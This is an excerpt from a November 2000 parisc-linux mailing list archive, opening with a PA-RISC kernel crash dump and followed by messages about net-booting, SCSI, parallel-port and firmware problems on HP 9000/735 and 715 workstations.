c3a0 fffffde0 fffffde0 41000000 00000000 fffffde0 fffffde0 40800000 00000000
c3c0 41000000 00000000 40300000 00000000 40200000 00000000 40200000 00000000
c3e0 41800000 fffffde0 40000000 00000000 40000000 00000000 40800000 00000000
c400 41000000 00000000 00000000 00000000 c4f9cb80 c0103cf4 00000000 00000000
c420 00000000 00000000 00000000 00000000 c011bb78 c011bb7c 40800000 00000000
c440 00281000 00000000 c0280040 c0280064 00000000 c0280204 00000000 00000000
c460 00000000 00000000 00000000 c4f9c468 00000000 00000000 00000000 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4e0 00000000 00000000 00000000 c0103c48 00000000 00000000 00000000 00000000
c500 c4f9c000 c028060c 00000000 00000000 00000000 00000000 00000000 00000000
c520 00000000 00000000 00000000 c01002a4 00000000 00000000 00000000 00000000
c540 00000000 00000000 00000000 00000000 c02b06c0 c4f9c000 c028060c 00000000
c560 c02b0000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c5a0 00000000 00000000 00000000 c02950a4 00000000 00000000 00000000 00000000
c5c0 00000001 c0284000 00000000 00000000 00000002 c027a4a0 c027a4a0 c0258bbc
c5e0 00000000 00000000 00000000 c0294fe8 00000000 00000000 00000000 00000000
c600 00000000 08000059 00000000 00000000 f00012a0 000ff000 000a5a59 000a5a59
c620 c0295794 c02d9800 00504d6c c02cc000 c0266000 c02c8000 c02aed34 c02aed24
c640 c02aed34 c02aed20 00000000 00000000 000ff000 000a5a59 000a5a59 c0295794
c660 c02d9800 00504d6c c02cc000 c029bc3c c02c8000 c02aed34 c02aed04 c02c8000
c680 c02c5fe8 c02c60a4 c028758c 00000040 c0244ed8 c0244a0c c0244b80 c0244edc
c6a0 01234567 c4f9c000 00000000 c02a6e64 c4f9c698 00000000 c02cc000 c0266000
c6c0 10000080 c02c5fe8 c02c60a4 c028758c 00000040 c4ffeea0 f00012a0 000ff000
c6e0 000a5a59 000a5a59 c0295794 c0155890 00504d6c c02cc000 c0266000 c02c8000
c700 c02c6164 00000100 c0244c38 00000000 c0245000 00000000 c02c5fe8 c02c5fe8
c720 c01e55ec c028be04 c02c9a20 c0109e74 c4ffc200 c028b474 c4f4a000 c028bf60
c740 00000004 c02aeab4 c02c8d20 c02b621f 00000004 c02b61ca 00000054 c02b621f
c760 00000000 00000001 c027a000 c02a6de4 0000003c 00000058 0000000b c027a4ac
c780 0000005a c4ff74a0 00000000 000000ff 00000060 00000000 00000060 00000002
c7a0 002b2080 00000008 002b50c0 c019324c 00000000 023c3460 c4f9c980 00000001
c7c0 08000000 00000000 00005301 f0823800 00856606 00000000 00000000 c028478c
c7e0 42780000 00000000 431c0000 00000000 4471cccc 00000000 000003c7 00000000
c800 fffffde0 fffffde0 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
c820 00000000 00000000 41800000 00000000 00000010 00000010 f0823800 00000000
c840 00000003 fffffde0 41000000 00000000 40800000 00000000 fffffde0 fffffde0
c860 41000000 00000000 fffffde0 fffffde0 40800000 00000000 41000000 00000000
c880 40300000 00000000 40200000 00000000 40200000 00000000 c018ffb8 c02846d8
c8a0 c02c8800 c026c000 c02c8d20 0000000b c028478c 00000000 41000000 00000000
c8c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c8e0 00000000 00000000 c011bb78 c0192bd4 4471cccc 00000000 000003c7 00000000
c900 0000000a c028478c c4f9c7c8 00000090 00000006 2b6a0000 00000000 00000000
c920 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
c940 fffffde0 fffffde0 41000000 00000000 40800000 00000000 fffffde0 fffffde0
c960 41000000 00000000 fffffde0 c011e9bc 40800000 00000000 41000000 00000000
c980 0004000a c0221800 c011e9f8 c4ff6520 c4ff6200 c0244f10 00000008 f0823800
c9a0 00000003 00000007 c0191568 c02c60a4 fffffffc c0245000 c0245000 c02d72b8
c9c0 c0245000 c0245000 c02c6028 00000000 c4ff6234 f0823807 f0823800 0000000a
c9e0 ffffffff c4ff6520 c4ff6200 c0266000 ffffffff 00000340 c4f9cbc0 c012dfc0
ca00 08000000 00000000 00000000 00000000 00856606 00000000 00000000 00000000
ca20 42780000 00000000 431c0000 00000000 4471cccc 00000000 000003c7 00000000
ca40 fffffde0 fffffde0 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
ca60 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
ca80 fffffde0 fffffde0 41000000 00000000 40800000 00000000 fffffde0 fffffde0
caa0 41000000 00000000 fffffde0 fffffde0 40800000 00000000 41000000 00000000
cac0 40300000 00000000 40200000 00000000 40200000 00000000 41800000 fffffde0
cae0 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
cb00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cb20 00000000 00000000 c011e710 c011e714 00000000 00000000 00000000 00000000
cb40 00000000 00000058 c4f9c740 c02caac8 00000007 0f881093 00000000 00000003
cb60 c02c9800 c02c9a60 c02c9a20 00000000 00000000 00000400 c4f9cd40 c01d1c98
cb80 0000003c 0000003e c027a000 00000001 c02b61e0 00000004 c02b61c7 00000018
cba0 c02b61e0 00000000 431c0000 c01046e0 4471cccc 00000000 000003c7 00000000

Data access rights fault in kernel: Code=26 regs=c4f9c980 (Addr=00000003)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001010
r0-3     00000000 c0221800 c011e9f8 c4ff6520
r4-7     c4ff6200 c0244f10 00000008 f0823800
r8-11    00000003 00000007 c0191568 c02c60a4
r12-15   fffffffc c0245000 c0245000 c02d72b8
r16-19   c0245000 c0245000 c02c6028 00000000
r20-23   c4ff6234 f0823807 f0823800 0000000a
r24-27   ffffffff c4ff6520 c4ff6200 c0266000
r28-31   ffffffff 00000340 c4f9cbc0 c012dfc0
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c011e710 c011e714
 IIR: 0f881093    ISR: 00000000  IOR: 00000003
ORIG_R28: 00000058


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 09:15:11 -0200 (BRST)
Lines: 143
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001130085854.14082C-100000@latt.if.usp.br>
References: <KNEHLBLKMAMGJHIKCGCIMEMKCAAA.smoret@uci.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619359 7224 80.91.229.3 (22 Nov 2014 01:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, assirati@socrates.if.usp.br
To: Steve Moret <smoret@uci.edu>
Original-X-From: delyra@latt.if.usp.br  Thu Nov 30 04:13:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA12161
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 04:13:02 -0700
Original-Received: (qmail 441 invoked by uid 15267); 30 Nov 2000 11:15:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 368 invoked from network); 30 Nov 2000 11:15:24 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 11:15:24 -0000
Original-Received: (qmail 14362 invoked by uid 1003); 30 Nov 2000 11:15:11 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Nov 2000 11:15:11 -0000
In-Reply-To: <KNEHLBLKMAMGJHIKCGCIMEMKCAAA.smoret@uci.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:8664

> I have a 735-125 and am able to net-boot it on a custom configured kernel as
> long as I disable the ASP parallel ports. It works quite well using an NFS
> root as I cannot get the SCSI hard drives to mkfs. I was going to try and
> debug it but have yet to find the free time. I can e-mail you my working
> .config for the kernel, or build kernels (tested on my own 735) for people
> if they need them.

Well, looks like the problem is known, good! But we have a queer little
problem with our machines here, we are unable to boot from the network. I
think we did everything right, in fact, we are trying to use a server here
other machines boot from, it has dhcp, boopt, tftp, rarp, the works. We
set it all up, put the kernel on the tftpboot area, tested all that we
could by other means but, when we try to net boot the HPs, we are faced
with complete silence on the network. No logs on the server, nothing.

A little explanation might be needed: these are not really native 735-125
models, they were upgraded from older 720-50 models by card swapping. I am
not sure whether all cards were changed, maybe some aspects of the machine
are still old. The syntax of the net boot procedure in them is strange,
you have to put in the hardware address of the server, which is unusual.

I _suspect_ that this bios does not use tcp/ip for the net boot, but some
HP proprietary protocol relating to that clustering software they have or
used to have for these machines, in which you ran several stations out of
the disks of a single one. In any case, a listing of what happens on the
console on a net-boot trial goes below. We had a tail -f on the system log
of the server, we had tcpdump listening, but nothing at all shows up...

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------

Seyon Copyright (c) 1992-1993 Muhammad M. Saggaf. All rights reserved.
Version 2 rev. 20c i586-Linux steve@hammer 05/23/99 20:19:22.

Locating Modems...
Modem `/dev/ttyS0' is Available.




(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.

PDC ROM rev. 2.7
IODC ROM rev. 1.1
80 MB of memory configured and tested.


Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP      C3725S
P1                    scsi.4.0                 TOSHIBA CD-ROM XM-3301TA



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: a
BOOT_ADMIN> help boot

Boot from specified device or path:          

  BOOT <boot_selection> IPL     boots Initial Program Loader (interactive mode)
  BOOT <boot_selection>         boots default boot utility

  <boot_selection> may be one of the following:

      pri                 primary path in Stable Storage
      alt                 alternate path in Stable Storage
      Pn                  Device selection from SEARCH
      eisa.<options>      EISA adapter
      fwscsi.<options>    On-board FASTWIDE SCSI interface
      lan.<options>       Slider-card LAN interface
      scsi.<options>      On-board SCSI interface

For more information on boot selection options, type  HELP <device> 
where <device> = eisa, lan, scsi, etc ...

BOOT_ADMIN> help lan


LAN (IEEE 802.3/Ethernet LAN) Path Specification

   lan.<server_address>.<init_retry>.<io_retry>

    <lan_server_address>      12 digit (hex) LAN server address 
    <init_retry>              max number of times to try a boot request
                               (0 = default, 255 = infinite)
    <io_retry>                max number of times to try a read request
                               (0 = default, 255 = infinite)

Example: to specify LAN address 123456-78ABCD with infinite
initialization retries and default I/O retries,

           lan.123456-78ABCD.255.0

If one or more parameters are not specified, the following
defaults will be used:    <lan_server_address> = 000000-000000 
                          <init_retry>   = 3 tries
                          <io_retry>     = 6 tries

BOOT_ADMIN> boot lan.0000f8-01abb1.0.0

Trying lan.0000f8-01abb1.0.0
Failed to initialize lan.0000f8-01abb1.3.0
ENTRY_INIT status = -7

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000008 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 A000800C F0002898 00000000 0800090B DBEB0000 00000000 


Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP      C3725S
P1                    scsi.4.0                 TOSHIBA CD-ROM XM-3301TA



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: 


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 11:19:30 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20001130111930.E22285@linuxcare.com>
References: <200011292319.PAA28547@milano.cup.hp.com> <Pine.LNX.3.96.1001130085232.14082B-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619359 7228 80.91.229.3 (22 Nov 2014 01:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:39 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com,
        assirati@socrates.if.usp.br
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 04:21:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA12698
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 04:21:15 -0700
Original-Received: (qmail 7405 invoked by uid 15267); 30 Nov 2000 11:23:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7374 invoked from network); 30 Nov 2000 11:23:38 -0000
Original-Received: from user-140-143.jakinternet.co.uk (HELO rhirst.linuxcare.com) (212.187.140.143)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 11:23:38 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6EEDCB007; Thu, 30 Nov 2000 11:19:30 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.3.96.1001130085232.14082B-100000@latt.if.usp.br>; from delyra@latt.if.usp.br on Thu, Nov 30, 2000 at 08:58:22AM -0200
Xref: news.gmane.org gmane.linux.ports.parisc:8665

On Thu, Nov 30, 2000 at 08:58:22AM -0200, Jorge L. deLyra wrote:
> OK, here goes. I want to congratulate you all on this effort. We have five
> of these HP-9000 stations here, quite old by now. They used to be our main
> number crunching force. They are wonderfully built hardware in bad need of
> a wonderful system on them!  |:-)

> Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
> 
> Dumping Stack from c4f9c000 to c4f9cbc0:

This has been reported on 715/50 (Robert Duncan) and 715/75 (me) round
about November 15th.  At the time I tried a current cvs kernel on my
715/75 and it was even worse (IIRC).  I'll have another look at it.

Richard


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 11:27:39 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20001130112739.F22285@linuxcare.com>
References: <00113001105103.00309@P100> <FKEGLIIBOIACJOCCAFIMCEFBCCAA.smoret@uci.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619359 7229 80.91.229.3 (22 Nov 2014 01:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:39 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@thepuffingroup.com
To: Steve Moret <smoret@uci.edu>
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 04:29:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA13227
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 04:29:17 -0700
Original-Received: (qmail 14350 invoked by uid 15267); 30 Nov 2000 11:31:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14302 invoked from network); 30 Nov 2000 11:31:43 -0000
Original-Received: from user-140-143.jakinternet.co.uk (HELO rhirst.linuxcare.com) (212.187.140.143)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 11:31:43 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E92A2B008; Thu, 30 Nov 2000 11:27:39 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <FKEGLIIBOIACJOCCAFIMCEFBCCAA.smoret@uci.edu>; from smoret@uci.edu on Thu, Nov 30, 2000 at 01:20:28AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8666

On Thu, Nov 30, 2000 at 01:20:28AM -0800, Steve Moret wrote:
> Now, maybe you can help me identify my SCSI problem. I don't know if it is
> because of driver issues or a bad disk (completly likely). Do other people
> have the Fast SCSI2 working on their 735s?
> 
> Whenever I do a mke2fs (after partitioning the drive with fdisk ok) it dies.


I have a 53c700 on my 715/75, and the driver was having trouble
with a CRDOM I attached, so it has some problems.  I wrote the
driver, but havn't used the 715/75 for a while since latest kernels
wouldn't boot for me.  I'll get it going again and see if the scsi
driver still works.

Richard


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 13:04:49 +0100 (MET)
Lines: 30
Approved: news@gmane.org
Message-ID: <6166.975585889@www24.gmx.net>
References: <FKEGLIIBOIACJOCCAFIMCEFBCCAA.smoret@uci.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619360 7231 80.91.229.3 (22 Nov 2014 01:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Steve Moret" <smoret@uci.edu>
Original-X-From: deller@gmx.de  Thu Nov 30 05:03:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA13742
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 05:02:55 -0700
Original-Received: (qmail 10681 invoked by uid 15267); 30 Nov 2000 12:05:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10576 invoked from network); 30 Nov 2000 12:05:16 -0000
Original-Received: from www24.gmx.net (213.165.64.74)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 12:05:16 -0000
Original-Received: (qmail 6201 invoked by uid 0); 30 Nov 2000 12:04:49 -0000
Original-Cc: parisc-linux@thepuffingroup.com
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0001045983@gmx.net
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Authenticated-IP: [194.39.131.39]
X-Flags: 0001
Xref: news.gmane.org gmane.linux.ports.parisc:8667

Hi Steve,

> My mistake! I did a full build with todays CVS and parport didn't die.
> So
> somewhere between the 17th and now parport must have been fixed.

I checked in yesterday a modified version of
/drivers/parport/parport_gsc.c with an "#if 0 ... #endif" in the code. 
Could you try to boot again with "#if 1" (search for the text which says
something like "enable bidirectional PS/2 mode") and try again ?
If this hangs your machine I will implement a better work-around.

> 
> Now, maybe you can help me identify my SCSI problem. I don't know if it
> is
> because of driver issues or a bad disk (completly likely). 

I think Richard Hirst can help you much more with your SCSI-problems than
me.  

NB: Does your chassis LEDs work with the new kernel, and if not, could you
send me your bootlog (or "dmesg | grep led") ?

Greetings,

	Helge

-- 
Sent through GMX FreeMail - http://www.gmx.net


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 07:01:53 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <3A266BE1.5DA1C812@uswest.net>
References: <Pine.LNX.3.96.1001130085854.14082C-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619360 7233 80.91.229.3 (22 Nov 2014 01:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:40 +0000 (UTC)
Cc: Steve Moret <smoret@uci.edu>, parisc-linux@thepuffingroup.com,
        assirati@socrates.if.usp.br
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: rbradetich@uswest.net  Thu Nov 30 07:06:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA14863
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 07:06:19 -0700
Original-Received: (qmail 4418 invoked by uid 15267); 30 Nov 2000 14:08:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4411 invoked from network); 30 Nov 2000 14:08:30 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 14:08:30 -0000
Original-Received: (qmail 18787 invoked by alias); 30 Nov 2000 14:08:29 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 18765 invoked by uid 0); 30 Nov 2000 14:08:28 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 30 Nov 2000 14:08:28 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; HP-UX B.11.00 9000/755)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8668

"Jorge L. deLyra" wrote:

> > I have a 735-125 and am able to net-boot it on a custom configured kernel as
> > long as I disable the ASP parallel ports. It works quite well using an NFS
> > root as I cannot get the SCSI hard drives to mkfs. I was going to try and
> > debug it but have yet to find the free time. I can e-mail you my working
> > .config for the kernel, or build kernels (tested on my own 735) for people
> > if they need them.
>
> Well, looks like the problem is known, good! But we have a queer little
> problem with our machines here, we are unable to boot from the network. I
> think we did everything right, in fact, we are trying to use a server here
> other machines boot from, it has dhcp, boopt, tftp, rarp, the works. We
> set it all up, put the kernel on the tftpboot area, tested all that we
> could by other means but, when we try to net boot the HPs, we are faced
> with complete silence on the network. No logs on the server, nothing.
>
> A little explanation might be needed: these are not really native 735-125
> models, they were upgraded from older 720-50 models by card swapping. I am
> not sure whether all cards were changed, maybe some aspects of the machine
> are still old. The syntax of the net boot procedure in them is strange,
> you have to put in the hardware address of the server, which is unusual.
>
> I _suspect_ that this bios does not use tcp/ip for the net boot, but some
> HP proprietary protocol relating to that clustering software they have or
> used to have for these machines, in which you ran several stations out of
> the disks of a single one. In any case, a listing of what happens on the
> console on a net-boot trial goes below. We had a tail -f on the system log
> of the server, we had tcpdump listening, but nothing at all shows up...

I believe the 735/755 type machines require rbootd to boot from the network.
rbootd is available at:

ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz

- Ryan



From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/75 dies in pdc_iodc_read()
Date: Thu, 30 Nov 2000 14:03:10 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20001130140310.M22285@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619360 7237 80.91.229.3 (22 Nov 2014 01:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:40 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 07:07:09 2000
Original-Received: from rhirst.linuxcare.com (user-223-220.jakinternet.co.uk [212.187.223.220])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id HAA14916
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 07:07:07 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0D4CCB007; Thu, 30 Nov 2000 14:03:10 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8669

Hi,
  My 715/75 no longer boots with cvs kernel.  It hangs while
searching for devices in PDC firmware, after finding the first
device.  The beta 0.5 cd kernel gets past this point.  The device
list is:

Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77, 0x0, 0x0
2. Scorpio Sr. Core BA (11) at 0xf082f000, versions 0x19, 0x0, 0x70, 0x0, 0x0
3. Scorpio Sr. Core SCSI (10) at 0xf0825000, versions 0x19, 0x0, 0x71, 0x0, 0x0
4. Scorpio Sr. Core LAN (802.3) (10) at 0xf0826000, versions 0x19, 0x0, 0x72, 0x0, 0x0
5. Scorpio Sr. Core HIL (10) at 0xf0821000, versions 0x19, 0x0, 0x73, 0x0, 0x0
6. Scorpio Sr. Core RS-232 (10) at 0xf0823000, versions 0x19, 0x0, 0x75, 0x0, 0x0
7. Scorpio Sr. Core RS-232 (10) at 0xf0822000, versions 0x19, 0x0, 0x75, 0x0, 0x0
8. Scorpio Sr. Core Centronics (10) at 0xf0824000, versions 0x19, 0x0, 0x74, 0x0, 0x0
9. Scorpio Sr. Audio (10) at 0xf1000000, versions 0x19, 0x0, 0x7b, 0x0, 0x0
10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76, 0x0, 0x0
11. Unknown device (10) at 0xfc001000, versions 0x0, 0x0, 0xfff, 0x0, 0x0
12. Scorpio Sr.(715/75) (0) at 0xfffbe000, versions 0x316, 0x0, 0x4, 0x0, 0x81
13. Scorpio Sr. (1) at 0xfffbf000, versions 0x27, 0x0, 0x9, 0x0, 0x0
That's a total of 13 devices.
CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz


So, with lastest cvs source, it gets in to the loop in
really_do_oldhw_inventory(), and first time through pdc_mem_map_hpa()
returns r_addr.hpa=0xf4000000 (the Stinger Optional Graphics).  Next
time round, mod=1, pdc_mem_map_hpa() returns r_addr.hpa=0xf8000000,
and the subsequent call to pdc_iodc_read() hangs.

I made the code skip the loop where mod=1, and it then goes on to
discover all the devices without problems.

At power on, the machine reports:

  Warning: one or more EISA cards could not be configured.
  Autoselect and search will ignore unconfigured cards.

Which I assume relates to an EISA SCSI card in the machine, which
I assume is item 11 in the above list.

Richard


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 13:04:46 -0200 (BRST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001130130209.16028B-100000@latt.if.usp.br>
References: <3A266BE1.5DA1C812@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619361 7239 80.91.229.3 (22 Nov 2014 01:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:41 +0000 (UTC)
Cc: Steve Moret <smoret@uci.edu>, parisc-linux@thepuffingroup.com,
        assirati@socrates.if.usp.br
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: delyra@latt.if.usp.br  Thu Nov 30 08:02:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA15960
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 08:02:26 -0700
Original-Received: (qmail 20759 invoked by uid 15267); 30 Nov 2000 15:04:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
